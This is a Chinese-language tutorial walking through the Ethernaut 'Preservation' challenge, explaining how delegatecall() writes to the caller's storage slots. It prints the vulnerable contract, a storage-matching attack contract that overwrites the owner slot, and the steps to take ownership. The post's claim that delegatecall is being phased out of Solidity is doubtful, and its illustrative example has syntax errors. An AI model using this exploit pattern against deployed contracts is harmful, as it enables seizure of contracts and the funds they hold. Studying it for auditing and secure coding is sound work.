本篇文章是call注入攻击的兄弟篇，为啥这么说呢？
因为委托调用攻击核心函数便是 delegatecall()
难度：偏难，但理解了就非常简单
📕1. 开文挑战
- 这是
Ethernaut中的第十六个例子（已修改） - 现在把需求交给你 ：将合约
Preservation的所有权拿到手。 - 你首先会想到什么？
java
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}在破解之前，我们首先要了解以下函数
📕2.了解delegatecall ()
delegatecall()和call()是姊妹函数，它们都是调用函数的底层用法，因此在安全层面上是不严谨的。
🌳官方文档是这么描述这个函数的：
"除了目标地址上的代码在调用合约的上下文中执行以及 msg.sender 和 msg.value 不更改它们的值这一事实之外，与消息调用是相同的。
这意味着合约可以在运行时从不同的地址动态加载代码。存储、当前地址和余额仍然是指调用合约，只有代码是从被调用的地址。"
官方文档写的太抽象，我来举个例子方便大家理解：
java
contract Example{
address public calledContract;
constructor(address _calledContract){
this.calledContract = _calledContract;
}
function useDelegatecall(address _change) public {
calledContract.delegatecall(abi.encodePacked(bytes4(keccak256("changeAddress(address)")),_change))
}
}
contract CalledContract{
address public initAddress;
function changeAddress(address _changeAddress){
this.initAddress = _changeAddress;
}
}🚀解析例子
-
contract Example：主合约 -
contract CalledContract：被调用合约 -
address public calledContract：被调用合约地址
可以看到在函数
useDelegatecall中，我们使用了delegatecall()调用了被调用合约的changeAddress()函数，并且传入了参数_change。
调用成功后我们查看结果：
被调用合约中的
initAddress并未修改成传入的地址参数_change，反而主合约的calledContract变成了_change.
🎹离谱吗
而这正是delegatecall()的安全漏洞：
被调用合约的上下文仍然是主合约的上下文，包括msg.value、msg.sender 以及 storage。因此当我们以为修改的是合约CalledContract的第一插槽（不了解插槽的去看上一讲）实际上我们修改的是合约Example的第一插槽，即address calledContract。
这就是delegatecall()函数真正的妙处，同样也是极大的安全漏洞！
📕研究合约
那么以上的使用方法，如何去破解开头给出的合约呢？
我想聪明的你早就有了一些想法。
💎回到合约
java
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}Preservation：主合约timeZone1Library,timeZone2Library：两个外部调用合约地址，即本例中的LibraryContractsetTimeSignature：函数签名，可以通过call或delegatecall等底层方法调用函数。
💎偷天换日
当调用主合约函数
setFirstTime时，将会调用外部合约LibraryContract的setTime方法，在该方法中修改了此合约的第一插槽,根据delegatecall()的特性，真正被修改的其实是主合约的第一插槽！，即timeZone1Library.
因此我们可以借助该漏洞替换掉主合约的timeZone1Library或者是timeZone2Library，再一次根据·delegatecall()的特性替换掉主合约的owner.
💎伪造攻击合约
那么被我们替换掉的攻击合约应该是什么样的呢？
为了完美利用delegatecall()的特性，它应该满足一下所有的需求：
- 存储结构应该与主合约一致
- 应该拥有与
setTime()同名的函数 - 应该在
setiTime()函数中修改第三插槽的内存，也就是主合约中owner所在的存储位置。
因此，这个合约应该长这样：
java
// SPDX-License-Identifier: MIT
contract AttackPreservation {
//必须拥有相同的存储结构！
address public timeZone1Library;
address public timeZone2Library;
address public owner;
//同名函数
function setTime(uint _change) public {
owner = address(_change);
}
}至此，用于替换的攻击合约就已经编写好了。
当调用该攻击合约的setTime()函数之时，我们将合约中owner（第三插槽）替换成了传入的变量。
实际上修改的是主合约的owner变量，因此将调用传入的参数改成自己的钱包地址即可！
💎攻击流程
- 伪造用于替换
timeZone1Library的攻击合约； - 首次调用
setFirstTime()函数，将传入参数设为用于替换的攻击合约的地址； - 第二次调用
setFirstTime()函数，将传入参数设为自己的钱包地址； - 完成攻击，将合约拥有者修改成了自己
📕总结
delegatecall()是一种危险性极高的函数调用方式，因此在平时的合约编写中，非必要不要用到该调用方式。
并且随着solidity语言版本的迭代更新，delegatecall()已经被逐步禁用。
不要觉得这些知识学了无用，在今后的学习中，会基于这样的分析模式深入地解决问题！
恭喜你！通过了这一章的学习。
至此你已经初步了解了基于函数特性的技术性安全漏洞。
在接下来的学习中，我会涉及到新型的合约攻击方式，请持续关注我！
🌳参考文献
How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them (Part 1)